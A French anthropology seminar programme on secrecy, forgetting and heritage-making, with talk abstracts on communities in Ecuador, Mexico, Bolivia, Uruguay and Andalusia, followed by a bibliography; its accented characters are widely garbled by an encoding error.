Si la��oubliA� peut A?tre considA�rA� comme une faA�on de remA�morer autrement, dA?s qua��on essaye de comprendre la place de la��oubli dans les sociA�tA�s tournA�es vers la��avenir on peut concevoir le patrimoine, moins comme une cA�lA�bration da��un fait du passA�, que comme une mise A� la��avant de certains paradigmes que la sociA�tA� sa��efforce de sauvegarder. A�Ainsi, la sA�ance portera sur une catA�gorie da��A�vA�nements, tels que le silence, la discrA�tion, ou la��excA?s de parole en tant qua��A�lA�ments clA�s du devenir social, A� partir de la��ethnographie de la sociA�tA� Tsachila de la��A�quateur, afin de proposer un nouveau regard pour penser les actes de patrimonialisation.

11h15

Pause

11h30

Anath Ariel de Vidas (Directrice de Recherche, MA)

La��histoire omise. A�Tradition orale, histoire transcrite et patrimonialisation dans un village nahua au Mexique

La��exposA� explorera les rA�actions des habitants d’un village de culture nahua au Mexique au texte de la��anthropologue sur l’histoire de cette localitA� qui comprend des A�vA�nements historiques qui avaient A�tA� rA�duits au silence. Les A�changes autour de ce texte ont rA�vA�lA�, entre autres modes de relation A� la��histoire locale, aussi celui qui omet certains A�vA�nements historiques dont la mA�moire na��est plus transmise. L’analyse de la rA�ception de ce texte soulA?ve la question du type d’histoire que les habitants souhaitent adopter dans le processus de transcription de leur mA�moire collective ou, en d’autres termes, la question de la relation entre la tradition orale, le secret, la��oubli, la honte et les sources historiques explorA�es par la chercheuse. En mettant en perspective l’histoire omise avec celle qui est transmise, la��analyse de la��omission da��A�vA�nements historiques peut servir d’ouverture A�pistA�mologique afin de comprendre les notions locales du patrimoine, et par extension, une position collective sur les changements historiques.

A�12h15

Magali Demanget, (MaA�tresse de confA�rence, UniversitA� Paul-ValA�ry Montpellier)
Le trA�sor secret du chamanisme. Paradoxes de la mise en patrimoine dans la Sierra MazatA?que (Mexique)

Il sa��agira da��interroger la��attitude observA�e dans la sociA�tA� mazatA?que qui consiste simultanA�ment A� cacher et A� exhiber certains aspects du chamanisme local (acteurs mythiques locaux, usages rituels des champignons sacrA�s, oraisons/chants chamaniques). La��une des qualitA�s A�A�patrimonialesA�A� de ces aspects fut da��avoir A�tA� occultA�s dans le cours de la��Histoire et da��A?tre toujours au centre de pratiques tangibles. Cette qualitA� de secret garantit une continuitA� souterraine courant aussi bien dans la synchronie de relations sociales contemporaines que dans le fil da��un temps long (en lien avec la��hA�ritage prA�hispanique). En mA?me temps, dans cette perspective patrimoniale, la��existence du secret, du fait de sa mise en A�criture, est avant tout discursive. Ici, le secret constitue la plus value du patrimoine culturel local en A�tantA� rattachA� A� la��idA�e da��un bien prA�cieux, un trA�sor qui peut A?tre dA�robA�, un reste demeurA� cachA�, prA�servA� mais aussi sauvegardA�, au sens de gardA� vivant. La supposA�e continuitA� affichA�e sur les scA?nes patrimoniales paraA�tA� cependant, dans le cadreA� pragmatique des relations sociales, A�laborA�e A� partir de ruptures, de mA�salliances, de rapports da��inclusion/exclusion. Si je me suis attachA�e par ailleurs A� la��existence A�A�positiveA�A� du secret comme patrimoine, il sa��agira ici da��aborder la face cachA� de cette exhibition : qua��est-ce qui est soustrait A� la patrimonialisationA�? Les motifs de cette soustraction sont-ils conscientsA�? En quoi la valeur de ce qui est soustrait diffA?re-t-elle de ce qui est montrA�A�? Qui sont les acteurs, et surtout quelles sont les circonstances de ces pratiques de dissimulationA�? Ces interrogations nous conduiront A� explorer un A�A�contenuA�A� du secret indissociable de son existence pragmatique.

13h

DA�jeuner

A�14h

Vincent Hirtzel (ChargA� de recherche, LESC)

DiscrA�tion, camouflage et secret(s) : la politique de frontiA?re yurakarA�

En prenant la��exempleA� da��une parentA?leA� yurakarA� (piA�mont andin bolivien), cet exposA� examinera comment le secret peut A?tre analysA� comme la��extrA�mitA� da��un continuum de stratA�gies de rA�sistance A� travaillant A� la��interface du A� dehors A� et du A� dedans A�.A� Les difficultA�s et les surprises de la��enquA?te A�ethnographique menA�e en son sein (qui seront elle-mA?mes restituA�es dans leur A�paisseur historique) serviront A� A�baucher une rA�flexion sur les nA�cessaires transformations des rapports frontaliers auxquels peuvent conduire les processus de patrimonialisation. Dans quelle mesure la��effort patrimonial repose-t-il sur un monde utopique de A� libre-circulation A�, sans frontiA?re A� A�paisse A� ? Dans quelle mesure est-il tributaire, par ailleurs, sur le registre politique, de la dilution A� acceptable A� de la��altA�ritA� ?

Lire le texte en PdfA�Hirtzel V. DiscrA�tion, camouflage et secret

14h45

Laurence Charlier (Anthropologue associA�e au MA) et Claude Legouill (sociologue associA� au CREDAL)

Des secrets des ayllus aux secrets de la��anthropologueA�: une approche croisA�e du secret en contexte de patrimonialisation dans le Nord Potosi de Bolivie

Nous allons nous attacher A� croiser les donnA�es, les mA�thodes mais aussi les questionnements rA�flexifs que nous avons pu avoir chacun sur un mA?me terrain (le Nord Potosi) vis A� vis du secret en contexte de patrimonialisation. Cette prA�sentation est le fruit da��une rencontre entre deux chercheurs aux mA�thodes et aux recherches diffA�rentes mais qui ont pu aboutir A� une rA�flexion commune sur la patrimonialisation des ayllus dA?s lors prA�cisA�ment que nous abordions la question du secret. La patrimonialisation des ayllus renvoie en effet A� un idA�al communautaire, dA�mocratique, d’A�quilibre et de rA�ciprocitA�. Cet idA�al a incitA� les ayllus A� taire certaines pratiques qui ne coA?ncidaient guA?re avec cet idA�al et qui, une fois sorties du groupe, risquaient de leur supprimer des avantages symboliques acquis par la figure de l’A�A�indio permitidoA�A� (Hale, 2004), et leur permettant d’obtenir des reconsidA�rations A�conomiques, politiques et territoriales.A�Deux points seront examinA�sA�: les secrets rA�vA�lA�s par la�?anthropologue aux ayllus et les secrets rA�vA�lA�s A� la��anthropologue par des membres de la��ayllu. Nous ferons tout da��abord rA�fA�rence A� la��accA?s du chercheur aux sources et aux archives du Nord Potosi ignorA�es au dA�but de notre terrain par les habitants des ayllus, mais qui peuvent jouer aussi bien un rA?le dans leur A�A�processus de reconstitution des ayllusA�A� que dans la rA�solution de leurs conflits locaux en se heurtant A� la mA�moire orale. Le mythe les auraient-ils trompA�s comme l’expliquent les habitants de la��ayllu KharachaA�arguant qua��on leur avait cachA� la vA�ritA� ? S’agit-il de dA�voiler les secrets des archivesA� et de rA�vA�ler les erreurs de la reconstitution historique des ayllusA�? La��autre point sera consacrA� A� la��anthropologue qui dA�range dA?s lors que des secrets lui ont A�tA� rA�vA�lA�s, souvent de maniA?re imprA�vue (confidences intimes, rA�vA�lations sous la��effet de la��alcool) ou lors de conflits in situA�: peine de mort pour cause de vol, absence de sanction pour des cas da��infanticide ou de viol, attaques sorcelaire, pratiques de guerre par exemple. Ceci nous conduira en conclusion A� rA�flA�chir sur le rA?le de la��anthropologue par rapport aux secretsA�: que fait-il des donnA�es censA�es ne pas A?tre dA�voilA�esA�? Comme rendre compte A� l’A�crit de certaines pratiquesA�? Au delA�, ces questions nous renvoient aussi aux secrets de la��anthropologueA�: quels sont les secrets de la��anthropologue vis A� vis de ses interlocuteurs sur le terrain mais aussi vis A� vis de la communautA� scientifiqueA�? Quelle est la place de la��autocensureA�?

15h30

Pause

15h45

Ariela Epstein (post-doctorante LISST)

A�A�On-ditA�A� et rA�ponses A�vasives, la non-A�criture da��un morceau da��histoire en contexte de patrimonialisation

Comme toute construction patrimoniale, celle de la��ancienne usine Anglo (Fray Bentos, Uruguay) et du quartier ouvrier qui la��entoure, implique une A�criture du passA�. Le processus institutionnel A� la��A�uvre a posA� des balises dans le tempsA�: la mA�moire mise en avant est celle de la��usine en marche, et celle de la vie ouvriA?re, jusqua��A� la fermeture de la��A�tablissement. La��ethnographie du prA�sent de ce quartier oblige pourtant A� interroger un autre moment historique, celui de la dictature militaire, qui correspond, juste aprA?s la fermeture de la��usine, A� la��expulsion de presque tous les habitants du quartier Anglo. Mon travail interroge alors ce passA� qui en A�A�rA�veilleA�A� un autre, et tente de saisir les enjeux actuels des diffA�rentes mA�moires de ce lieu.

16h30

Nathalie Manrique (Anthropologue affiliA�e au LAS)

Secrets, simulacres et exhibitions. Noces et pratiques funA�raires chez les Gitans da��Andalousie

Chez les Gitans da��Espagne, deux champs de pratiques sont tenus pour secretsA�: ceux liA�s au mariage et ceux associA�s A� la mort. Seuls des Gitans sont, en principe, autorisA�s A� connaA�tre les dA�tails de la dA�floration de la mariA�e, A� poser leur regard sur les A�A�trois rosesA�A� et A� se laisser envelopper par la mA�lodie de la��AlboreA? (ou Yeli) considA�rA�e comme A�tant le patrimoine essentiel des Gitans (dA�clarA�e Patrimoine ImmatA�riel de la��HumanitA� par la��Unesco en 2010). Le secret semble ainsi perpA�tuer fondamentalement la frontiA?re entre les Gitans et les non-Gitans. Da��autre part, A� la mort da��un Gitan, la��existence de cet individu est officiellement oubliA�e pour et par tous. Plusieurs techniques da��oubli sont donc instaurA�es dont la mise en place du secret. Ce dernier sa��adresse essentiellement aux proches parents du dA�funt qui doivent sa��assurer que le surnom de leur cher disparu ne soit plus prononcA�. Dans ces deux champs, le secret semble donc A�uvrer de maniA?re distincteA�: da��un cA?tA�, le silence serait imposA� pour marquer et perpA�tuer la frontiA?re entre A�A�ceux qui saventA�A� (les Gitans) et A�A�ceux qui ne savent pasA�A� (les non-Gitans) et de la��autre, pour dissimuler un contenu pourtant connu de tous pour qua��il sombre ainsi dans la��oubli.

La��A�tude de simulacres de mariages devenus des patrimoines touristiques A� la��A�chelle internationale (Procession des Gitans lors de la Semaine Sainte de Grenade et pA?lerinage de la Vierge de Cabra A� Cordoue), montre que le rA?le de ces secrets est moins la construction da��une frontiA?re entre initiA�s et non-initiA�s que la��occasion de rA�vA�ler A� chaque Gitan, par la��intermA�diaire de diffA�rents codes, les statuts, trA?s mobiles, de chacun au sein de la communautA�. Ces codes se transmettent da��une gA�nA�ration A� la��autre perpA�tuant, de maniA?re parallA?le, la distinction entre Gitans et non-Gitans. Lors da��un dA�cA?s, le secret permet da��exclure le dA�funt de tout type de transmission (matA�rielle ou symbolique) aux gA�nA�rations qui suivent. Les secrets gitans agissent A� la fois pour la transmission et pour la��exclusion de celle-ci. Ils rA�vA?lent donc la��importance de la��A�A�A�intimitA� culturelleA�A�, celle qua��on se rA�serve pour la��entre soi, pour le bon fonctionnement interne du groupe et reflA?tent une identitA� fondA�e sur la seule transmission communautaire et jamais individuelle.

17h15

DA�bat

Discutant

Emmanuel de Vienne (MaA�tre de confA�rence, Nanterre UniversitA�)

Organisation

Laurence Charlier

laurencecharlierzein@gmail.com

Bibliographie

Adell, N., 2014, Introduction. Faire le secret, Mondes contemporains, NA�5, p. 3-10.

Armanet, E., 2011, Le ferment et la grA?ce. Une ethnographie du sacrA� chez les Druzes d’IsraA�l, Toulouse, Presses Universitaires du Mirail.

Demanget, M., 2014, La patrimonialisation de la��occulte. Secret chamanique et A�criture en terres mazatA?ques (Mexique), Mondes contemporains, NA�5, p. 29-51.

Graham M. Jones, 2014, Secrecy, Annual Review of Anthropology, Vol. 43 : 53-69 (Volume publication date October 2014), First published online as a Review in Advance on June 24, , DOI: 10.1146/annurev-anthro-102313-030058.

Hale C., 2004, Rethinking indigenous politics in the era of the A�A�indio permitidoA�A�, National American Congress on Latin America (NACLA), Report on the Americas, 38, 2, New York, p. 16-21.

Hale C. and Millaman R., 2005, Forthcoming Cultural Agency and Political Struggle in the Era of Indio Permitido, Cultural Agency in the Americas, edited by Doris Sommer. Durham, NC: Duke University Press. p. 281-301.

Harrison R., 2013, Forgetting to remember, remembering to forget: late modern heritage practices, sustainability and the a�?crisisa�� of accumulation of the past

International Journal of Heritage Studies,
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Robin V., 2013,A�(Re)jouer la��histoire de la guerre, revivre le massacre. Performance carnavalesque et processus mA�moriels dans les Andes da��Ayacucho (PA�rou), Droit et cultures, 66, p. 103-124,A�http://droitcultures.revues.org/3174

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